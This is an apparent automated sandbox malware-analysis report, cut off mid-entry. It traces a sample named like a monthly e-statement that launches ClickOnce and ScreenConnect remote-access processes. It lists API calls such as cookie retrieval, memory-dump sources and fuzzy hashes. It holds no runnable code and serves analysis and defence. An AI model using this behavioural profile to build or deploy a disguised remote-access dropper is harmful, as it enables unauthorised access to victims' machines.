APIs

_abort.LIBCMT ref: 009A3EBF

Strings

kz]G, xrefs: 009A37C5, 009A37DA
kz]G, xrefs: 009A37AE

Memory Dump Source

Source File: 00000000.00000002.2258333372.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2258313163.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258351459.00000000009AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258370362.00000000009B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258389168.00000000009B3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_monthly-eStatementForum120478962.jbxd

Similarity

API ID: _abort
String ID: kz]G$kz]G
API String ID: 1888311480-861787974
Opcode ID: 179250eff9476e38ee4b994581e1e06da864eeb748b2c13fc52ec171f79861db
Instruction ID: 51c356d70b3e84f5a2e57e76ec7ac153653d80f84fdf23046a9e7c13b4e07990
Opcode Fuzzy Hash: 179250eff9476e38ee4b994581e1e06da864eeb748b2c13fc52ec171f79861db
Instruction Fuzzy Hash: 04F0B4329643049BC714FF78E919B1D37A0AB81731F718225F4149B1A6CB704940A6C1

Function 009A58AE Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 30COMMON

Download Yara Rule

APIs

TlsFree.KERNEL32(?), ref: 009A58ED

Strings

kz]G, xrefs: 009A58B4
FlsFree, xrefs: 009A58BF, 009A58C9

Memory Dump Source

Source File: 00000000.00000002.2258333372.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2258313163.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258351459.00000000009AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258370362.00000000009B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258389168.00000000009B3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_monthly-eStatementForum120478962.jbxd

Similarity

API ID: Free
String ID: FlsFree$kz]G
API String ID: 3978063606-1205607610
Opcode ID: ac851cd7a537a86c74df7527a369ea3bd3fa5c133965713974668d5b61a085ee
Instruction ID: 1d4b8410ee80c20af647f10a22ee5bd1b85f8567fc6864c905919fe288437ef9
Opcode Fuzzy Hash: ac851cd7a537a86c74df7527a369ea3bd3fa5c133965713974668d5b61a085ee
Instruction Fuzzy Hash: 3EE02B71B4961CABC3007B549C2AE3FBFA4DF8BB54B42815DFC055B251EE344D01A6C9

Function 009A5858 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 30memoryCOMMON

Download Yara Rule

APIs

TlsAlloc.KERNEL32 ref: 009A5897

Strings

kz]G, xrefs: 009A585E
FlsAlloc, xrefs: 009A5869, 009A5873

Memory Dump Source

Source File: 00000000.00000002.2258333372.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2258313163.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258351459.00000000009AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258370362.00000000009B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258389168.00000000009B3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_monthly-eStatementForum120478962.jbxd

Similarity

API ID: Alloc
String ID: FlsAlloc$kz]G
API String ID: 2773662609-2178684103
Opcode ID: d4e7678a1f071f0112ca27179f756e06802ca83970d10fb94b2710b0311c138a
Instruction ID: 3db751116b337dc9a83e74b8ee6ced0de60328d0e5d8aa0736f08d611a7b2906
Opcode Fuzzy Hash: d4e7678a1f071f0112ca27179f756e06802ca83970d10fb94b2710b0311c138a
Instruction Fuzzy Hash: 0DE02B30785218BB83117B64DC26A7E7FD4DF8BB35F424164FD099B250DE744D0195D9

Analysis Process: dfsvc.exePID: 6172, Parent PID: 2260COMMON

Execution Graph

Execution Coverage:	17.9%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	113
Total number of Limit Nodes:	11

Executed Functions

Function 00007FF848F41538 Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 360COMMON

Download Yara Rule

Strings

x]k-, xrefs: 00007FF848F416D0

Memory Dump Source

Source File: 00000002.00000002.2984382940.00007FF848F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff848f40000_dfsvc.jbxd

Similarity

API ID:
String ID: x]k-
API String ID: 0-679281813
Opcode ID: 0daef6d356cebc546d8498420ce40fcb6e0a8406d51c26d3bf513553b5a7247b
Instruction ID: 902e09b0c2e0d2e21d1e59d1372921090975087cba5baede93d11de0d9665db2
Opcode Fuzzy Hash: 0daef6d356cebc546d8498420ce40fcb6e0a8406d51c26d3bf513553b5a7247b
Instruction Fuzzy Hash: 1CB11331E0DAC90FE356EB7858192B87FD1EF66650F0801BFC089D71E7EB28A8858345

Function 00007FF848F4FCD2 Relevance: 1.8, APIs: 1, Instructions: 279networkCOMMON

Download Yara Rule

APIs

InternetGetCookieW.WININET ref: 00007FF848F4FEB6

Memory Dump Source

Source File: 00000002.00000002.2984382940.00007FF848F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff848f40000_dfsvc.jbxd

Similarity

API ID: CookieInternet
String ID:
API String ID: 930238652-0
Opcode ID: e679ba02d242cf7a187a622790515d0d5de55682f5d8e5cacb1fc38ac04b4767
Instruction ID: 5a80f6aa2296e7148be245a683788188b270b123f742cb0365541a7a03ad342d
Opcode Fuzzy Hash: e679ba02d242cf7a187a622790515d0d5de55682f5d8e5cacb1fc38ac04b4767
Instruction Fuzzy Hash: 42918D30508A8D4FEB69EF2888557E93BE1EF69311F04426FE84DC7292CB74A9458B91

Function 00007FF848F4994B Relevance: 1.7, APIs: 1, Instructions: 185fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 00007FF848F49A7C

Memory Dump Source

Source File: 00000002.00000002.2984382940.00007FF848F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff848f40000_dfsvc.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: b325cc8ca1e7c2826ca6a0d1d28388cad2d8b5a6a881f31832437d39ef6be078
Instruction ID: 432401925882081ada7a5df16d95f274b10f6a0c0a128d355e8f5185ebb55a57
Opcode Fuzzy Hash: b325cc8ca1e7c2826ca6a0d1d28388cad2d8b5a6a881f31832437d39ef6be078
Instruction Fuzzy Hash: 5351C371A0CA5C8FDB59EF689845BE97BE0FB69310F1441AFD04DD3292CB34A845CB85

Function 00007FF848E2EEBF Relevance: .1, Instructions: 136COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2984024702.00007FF848E2D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E2D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff848e2d000_dfsvc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e3004314e05ea4924f59dd9293f51160035b2df6ebe0b36be58cf5326f19880d
Instruction ID: b68e39dbb8d43ff749d54df64869960cbc42895d452c9bbcd60b0f7101db053e
Opcode Fuzzy Hash: e3004314e05ea4924f59dd9293f51160035b2df6ebe0b36be58cf5326f19880d
Instruction Fuzzy Hash: 4B41F23180DBC58FE3569B2898459623FF0FF57360B1502EFD088CB1A7D629A846C7A2

Analysis Process: ScreenConnect.WindowsClient.exePID: 5432, Parent PID: 6172COMMON

Execution Graph

Execution Coverage:	12.9%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	12
Total number of Limit Nodes:	0

Executed Functions

Function 00007FF848F04890 Relevance: 1.7, APIs: 1, Instructions: 228
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTokenInformation.KERNELBASE ref: 00007FF848F1F2C6

Memory Dump Source

Source File: 00000009.00000002.2454397073.00007FF848F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff848f00000_ScreenConnect.jbxd

Similarity

API ID: InformationToken
String ID:
API String ID: 4114910276-0
Opcode ID: a21c05b1de95faf72b6b0abe6da4cbb8a78debbed52844fe96befae404a0fd24
Instruction ID: 7893b7d18bd16ee9f820740d4bb942e3dd74819571554a0bb45d3d1d9ed742aa
Opcode Fuzzy Hash: a21c05b1de95faf72b6b0abe6da4cbb8a78debbed52844fe96befae404a0fd24
Instruction Fuzzy Hash: B5612C72E0DAC54FE3199B6C68052B97BE1FFA6718F1401BFD048871DBDA389D058395

Function 00007FF848F0F67B Relevance: 1.7, APIs: 1, Instructions: 178
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE ref: 00007FF848F0F7AC

Memory Dump Source

Source File: 00000009.00000002.2454397073.00007FF848F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff848f00000_ScreenConnect.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: b12934009d2df700793d96b2ff6e5ec7b176a6b134338b9191a4300dc9877bff
Instruction ID: ac31c128305e6dd1e34e6f6dd7ded2239a569107cce0daa9e9f8c6450167bc2c
Opcode Fuzzy Hash: b12934009d2df700793d96b2ff6e5ec7b176a6b134338b9191a4300dc9877bff
Instruction Fuzzy Hash: 8451D03090CA4C8FDB58EF589845BE9BBE0FB59310F0442AEE04DD3292CB34A885CB81

Function 00007FF848F084B8 Relevance: 1.6, APIs: 1, Instructions: 108
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetProcessMitigationPolicy.KERNELBASE ref: 00007FF848F08542

Memory Dump Source

Source File: 00000009.00000002.2454397073.00007FF848F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff848f00000_ScreenConnect.jbxd

Similarity

API ID: MitigationPolicyProcess
String ID:
API String ID: 1088084561-0
Opcode ID: 7801abe3373e20e85d4d6fccd32d7654c965204d3e3f1190104e5353e37174ca
Instruction ID: 972cc4d727ee8d078c031c8eda9dd7899b027790a62c85648558c191f9646bf7
Opcode Fuzzy Hash: 7801abe3373e20e85d4d6fccd32d7654c965204d3e3f1190104e5353e37174ca
Instruction Fuzzy Hash: C831C53191CB188FDB28AF9C9C4A5F97BE0EB55711F00413EE049D3652DB74A8458B85

Function 00007FF848F03EAA Relevance: 1.6, APIs: 1, Instructions: 106
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetProcessMitigationPolicy.KERNELBASE ref: 00007FF848F08542

Memory Dump Source

Source File: 00000009.00000002.2454397073.00007FF848F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff848f00000_ScreenConnect.jbxd

Similarity

API ID: MitigationPolicyProcess
String ID:
API String ID: 1088084561-0
Opcode ID: 920d9d97a544a3d577a17ff3ca0e3c0eccc1c85185d4b0158d955390879b6e75
Instruction ID: 45ec69a0a0197159bb44043d5f5f0a7e7cea61e5586f5d73d0e1903caf9c17de
Opcode Fuzzy Hash: 920d9d97a544a3d577a17ff3ca0e3c0eccc1c85185d4b0158d955390879b6e75
Instruction Fuzzy Hash: AC21D53191CB188FDB18AF9CDC4AAFA7BE0EB59711F00413EE04AD3651DB74B8458B95

Function 00007FF848F03DFA Relevance: 1.3, APIs: 1, Instructions: 91
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNELBASE ref: 00007FF848F1F4DC

Memory Dump Source

Source File: 00000009.00000002.2454397073.00007FF848F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff848f00000_ScreenConnect.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 9c647c9c32868dc47efbc9d8272ceccc62eb8a5bc0171a5312393f4ff219b868
Instruction ID: 75b73ff2f4591a2534c0258a70bfc484c10ee4e067baea6f84b65be19dbee008
Opcode Fuzzy Hash: 9c647c9c32868dc47efbc9d8272ceccc62eb8a5bc0171a5312393f4ff219b868
Instruction Fuzzy Hash: 4721C131908A1C9FDB58DF98C449BF9BBE0FBA5321F00422ED04ED3651DB74A856CB90

Analysis Process: ScreenConnect.ClientService.exePID: 5764, Parent PID: 5432COMMON

Executed Functions

Function 00D620B5 Relevance: 2.9, Strings: 2, Instructions: 370COMMON

Download Yara Rule

Strings

, xrefs: 00D6237E
nCuq, xrefs: 00D62351

Memory Dump Source

Source File: 0000000A.00000002.2445250148.0000000000D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d60000_ScreenConnect.jbxd

Similarity

API ID:
String ID: nCuq$
API String ID: 0-3867085953
Opcode ID: 9c9403a504720413b0f59b4a53a52f5696bc257f8fbb7cb28092af7e7a43a898
Instruction ID: 9fa639dc5af76d2fd94d71d1d67814a8f470f2193405c7eaece54585bfc4fbcc
Opcode Fuzzy Hash: 9c9403a504720413b0f59b4a53a52f5696bc257f8fbb7cb28092af7e7a43a898
Instruction Fuzzy Hash: 895191347006018FC715EB74D95966EBBF2EF94310B1884A9D40ADB3A5EF75DC06CBA1

Function 00D61828 Relevance: 2.6, Strings: 2, Instructions: 121COMMON

Download Yara Rule

Strings

$]q, xrefs: 00D6188D
$]q, xrefs: 00D61899

Memory Dump Source

Source File: 0000000A.00000002.2445250148.0000000000D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d60000_ScreenConnect.jbxd

Similarity

API ID:
String ID: $]q$$]q
API String ID: 0-127220927
Opcode ID: 7aed2ef71c57328db855deb6585d7e5e4b15a35db8e387c70912f24db37f89de
Instruction ID: 5490e5a07578d4e3e9e8cf02c5bb9419c8fe0d4743713b793d4bc3001548278e
Opcode Fuzzy Hash: 7aed2ef71c57328db855deb6585d7e5e4b15a35db8e387c70912f24db37f89de
Instruction Fuzzy Hash: 6031223A60D3809FC70B9B7498685553FB1DF8731031E44EBD884CB2B3DA258C0ACBA2

Function 00D65238 Relevance: 1.4, Strings: 1, Instructions: 192COMMON

Download Yara Rule

Strings

(aq, xrefs: 00D6525A

Memory Dump Source

Source File: 0000000A.00000002.2445250148.0000000000D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d60000_ScreenConnect.jbxd

Similarity

API ID:
String ID: (aq
API String ID: 0-600464949
Opcode ID: 730b2311cf6063c6db56bf5dbb9f76352ea22e9f0c1e6ed11b24fccfcc7697bb
Instruction ID: b7ceefebeddd72e6c63afc18e8a7c93cc103f33bc81943f127821de972c490aa
Opcode Fuzzy Hash: 730b2311cf6063c6db56bf5dbb9f76352ea22e9f0c1e6ed11b24fccfcc7697bb
Instruction Fuzzy Hash: 6C611934B106198FCB14DFA9E994A5EB7F2FF8D315B1580A8E5069B369DB30EC02DB50

Function 00D66F40 Relevance: 1.4, Strings: 1, Instructions: 182COMMON

Download Yara Rule

Strings

LR]q, xrefs: 00D670CB

Memory Dump Source

Source File: 0000000A.00000002.2445250148.0000000000D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d60000_ScreenConnect.jbxd

Similarity

API ID:
String ID: LR]q
API String ID: 0-3081347316
Opcode ID: 93ea35266bd84023e269ee0c293678c2599f19cb28ba18d8ad9808912511afb0
Instruction ID: 6cb696904b7149c445d3e438807bb18bb897f910bee71cd0ec87d0b77b7ca594
Opcode Fuzzy Hash: 93ea35266bd84023e269ee0c293678c2599f19cb28ba18d8ad9808912511afb0
Instruction Fuzzy Hash: DE51F230A082159FDB259B74D954B6EBBF2EF84304F14896EE446DB3A1EB30DC45CBA1

Function 00D642F0 Relevance: 1.4, Strings: 1, Instructions: 127COMMON

Download Yara Rule

Strings

(aq, xrefs: 00D64311

Memory Dump Source

Source File: 0000000A.00000002.2445250148.0000000000D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d60000_ScreenConnect.jbxd

Similarity

API ID:
String ID: (aq
API String ID: 0-600464949
Opcode ID: 6734c2d54c38a13655bbc882670f340f5e9639bf638ff648e9eb9baa006e779f
Instruction ID: 74d207a5be2034375de08b842fcc2bc932fc441178b4e1aa4732cba2f7a0b714
Opcode Fuzzy Hash: 6734c2d54c38a13655bbc882670f340f5e9639bf638ff648e9eb9baa006e779f
Instruction Fuzzy Hash: 8841AF30A00105CBDB15EF68E9946ADBFB6EF84310B14C569D9059B366DF74EC07CBA0

Function 00D63480 Relevance: 1.4, Strings: 1, Instructions: 103COMMON

Download Yara Rule

Strings

[', xrefs: 00D63548

Memory Dump Source

Source File: 0000000A.00000002.2445250148.0000000000D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d60000_ScreenConnect.jbxd

Similarity

API ID:
String ID: ['
API String ID: 0-410297704
Opcode ID: 10aac1781802117cc88f54b1cb90aaf5b165a6079dde7fe6909432bed3272455
Instruction ID: 5ed1369d6234c2dabd14127604e20b4ee702c1f0c0e9f358d1526216f670e5b6
Opcode Fuzzy Hash: 10aac1781802117cc88f54b1cb90aaf5b165a6079dde7fe6909432bed3272455
Instruction Fuzzy Hash: B331E5387006014B8705AB7DAC9165FB7E6EFC93103148579D51ADB398EFB4EE098BD2

Function 00D676D8 Relevance: .2, Instructions: 200COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2445250148.0000000000D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d60000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 25563d655a9e2d582a71e643c643d743fe45a80ad6fe90e667be23840b5a77e2
Instruction ID: ff12200d32a6a4d681254aeaf95c1fc359e2bce10eb5c872d84ed08bb9467520
Opcode Fuzzy Hash: 25563d655a9e2d582a71e643c643d743fe45a80ad6fe90e667be23840b5a77e2
Instruction Fuzzy Hash: 04518030E043099FDB05EFB8DC54B9DBBB2FF89300F148559E104AB2A5EB74A985CB91

Function 00D64940 Relevance: .1, Instructions: 142COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2445250148.0000000000D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d60000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1314a68c07fe7d0607b00c48e375e625ebacb1ef772dfcaaeb12458811dbe99f
Instruction ID: 0ae9f19f07705e6a0bbd11a7b422583f7201d7227710820d2e6eaef471632bb0
Opcode Fuzzy Hash: 1314a68c07fe7d0607b00c48e375e625ebacb1ef772dfcaaeb12458811dbe99f
Instruction Fuzzy Hash: 7C510734640B01CFC724CF69D984A66B7F2FF89324B244A6DD49ADB7A4DB31E806CB54

Function 00D6360B Relevance: .1, Instructions: 139COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2445250148.0000000000D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d60000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a46d66c7d1d24a63ea1738f196ffef17c70fd4bd52cc3b08abb59f6a6465e8ec
Instruction ID: 79783a9875a1ebcb33096004a5c08935dfba955f7f9a8789a93086403fdc0455
Opcode Fuzzy Hash: a46d66c7d1d24a63ea1738f196ffef17c70fd4bd52cc3b08abb59f6a6465e8ec
Instruction Fuzzy Hash: B3519F746007058FCB34CF69D844A6ABBF1FF94311B144A29D056CB7A1D730EE4ACBA0

Function 00D67770 Relevance: .1, Instructions: 139COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2445250148.0000000000D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d60000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a4f0a2aed01922cf57122fcf37d58af8bac2f88b6bea82b6d7f1195622c7d62
Instruction ID: 0284da4e1c0339a2300e4626238cee707742aa99e89fb617df460265f2547f5b
Opcode Fuzzy Hash: 7a4f0a2aed01922cf57122fcf37d58af8bac2f88b6bea82b6d7f1195622c7d62
Instruction Fuzzy Hash: A651A334E043099FCB05EFB8DC44B9DBBB6FF89300F108559E404AB2A5DB74A985DB91

Function 00D635E3 Relevance: .1, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2445250148.0000000000D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d60000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5667a6ad65975bfdf13cb64172150026065b2ed7264f32a896decea81ee8d5ad
Instruction ID: 61ad25fce7e1128dfe2f271d305fff2e9250c7ec7eb6258197f87366ad927998
Opcode Fuzzy Hash: 5667a6ad65975bfdf13cb64172150026065b2ed7264f32a896decea81ee8d5ad
Instruction Fuzzy Hash: 0951A1B4A007058FC734DF79D9846AABBF1FF45311B144A69D056CB7A1D730E94ACBA0

Function 00D6366B Relevance: .1, Instructions: 114COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2445250148.0000000000D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d60000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c653a397c7d49b12d97f7e3afc48a5ece38e9d02a3bb1a0094009eef4ad64106
Instruction ID: 852964e79945d762eb4300bcb21971c8e66aa7cdb8c36b7c8829041177568fcd
Opcode Fuzzy Hash: c653a397c7d49b12d97f7e3afc48a5ece38e9d02a3bb1a0094009eef4ad64106
Instruction Fuzzy Hash: 24416CB4A00705CFDB74DF69D944A6ABBF1FF94310B144A28D456C77A0D730EA49CBA0

Function 00D63678 Relevance: .1, Instructions: 113COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2445250148.0000000000D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d60000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c74147af4de43dc4988da2b3562ed95cd9c7be37ab47f41908130c90e491ff0
Instruction ID: 4b28fdcb65e3398820eaa5427c67345513e580486218667a8ee9c84d50dbb698
Opcode Fuzzy Hash: 2c74147af4de43dc4988da2b3562ed95cd9c7be37ab47f41908130c90e491ff0
Instruction Fuzzy Hash: E3416CB4600705CFCB74DF69D944A5ABBF5FF84310B148A28D456CB7A5EB30E945CBA0

Function 00D63DC0 Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2445250148.0000000000D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d60000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9049be3e5ccbc4090fe68f33ef0775025328768eb7f4281437e94c52275edd17
Instruction ID: 7f9fe8cc3c262fd859df52ae42c208ede9758f0f1f4c7ae6eff08b53d055fc0b
Opcode Fuzzy Hash: 9049be3e5ccbc4090fe68f33ef0775025328768eb7f4281437e94c52275edd17
Instruction Fuzzy Hash: 18316B31B102068FDB149F69C594AAFFBF6EF89314F14846AE406E7395DB32DD058BA0

Function 00D63828 Relevance: .1, Instructions: 93COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2445250148.0000000000D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d60000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 954499e496fe03c50d8c192493a9136386f7621f1d8ac33a1a611fad9c2bd119
Instruction ID: 7fa43dd3f3e3ebe9059797ca377239083986904f9c48ef9e89d66a82fbee963c
Opcode Fuzzy Hash: 954499e496fe03c50d8c192493a9136386f7621f1d8ac33a1a611fad9c2bd119
Instruction Fuzzy Hash: E231B470F442458FC705DB68C8645AEFFB6EFCA310B1580AAD549DB395DB319E01CBA1

Function 00D65548 Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2445250148.0000000000D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d60000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 533df216d1eb3e934fb9b3cc48b282a1e561e20d9a8b93e1ff2325e50ba25d22
Instruction ID: 6d640afc147c6b6a6b5edef9edc532a69de21ea977b294500d042fc27b14f6d9
Opcode Fuzzy Hash: 533df216d1eb3e934fb9b3cc48b282a1e561e20d9a8b93e1ff2325e50ba25d22
Instruction Fuzzy Hash: 38315030600B058FC730DF69D984A56B7F2FF99321B144A2CD496CB7A5D730E845CBA1

Function 00D64FD0 Relevance: .1, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2445250148.0000000000D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d60000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 74f0d27ebe31d8b6b9594716097896fe05466c9690cae4a93c7d41f3015de9a7
Instruction ID: 18ca9202a83a689838f0a777b8685a3ca26689e174ee864473dcc0cb7a903d14
Opcode Fuzzy Hash: 74f0d27ebe31d8b6b9594716097896fe05466c9690cae4a93c7d41f3015de9a7
Instruction Fuzzy Hash: 0E316136A0010ADFCF05DFA8E9405CDBBB2FF89315F158426D505BB264DB32A90BCBA0

Function 00D65197 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2445250148.0000000000D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d60000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a7db2ba7c552a5a1f661ae3889ca8ada33a3537c77455c605fb6e2beab38e2c4
Instruction ID: a0a203f9bcddaa0ff658a1367f9d23be965365740de31a572035e5e8cffcf375
Opcode Fuzzy Hash: a7db2ba7c552a5a1f661ae3889ca8ada33a3537c77455c605fb6e2beab38e2c4
Instruction Fuzzy Hash: 9521AF39B002045FC714DB7CE8809AEBBA6EFC5260714852AE955CB3A9DB71AD06CB91

Function 00D6381B Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2445250148.0000000000D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d60000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1ce9fec6c7bfd1019c21808c57ecd74ed137a7bc09a872745ddc04f5e1d8a5e7
Instruction ID: 3076bfb3024dcbac755e095b8b202407a04f5e6fc51adb795192bb82a0a2ef89
Opcode Fuzzy Hash: 1ce9fec6c7bfd1019c21808c57ecd74ed137a7bc09a872745ddc04f5e1d8a5e7
Instruction Fuzzy Hash: 4A112134F441418FC7049B68D8905AEFFB1EFC9310B2841BAE9499B391DB319D01CBA1

Function 00D64B70 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2445250148.0000000000D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d60000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 83a8cf02dcd2b67bf294032fbd8d5eb98dce2deac610e655cb69cc003c403726
Instruction ID: 8f0f231d6822f189c1297a19a3a7d0608045e75466d0f0e35504072aa6317cd3
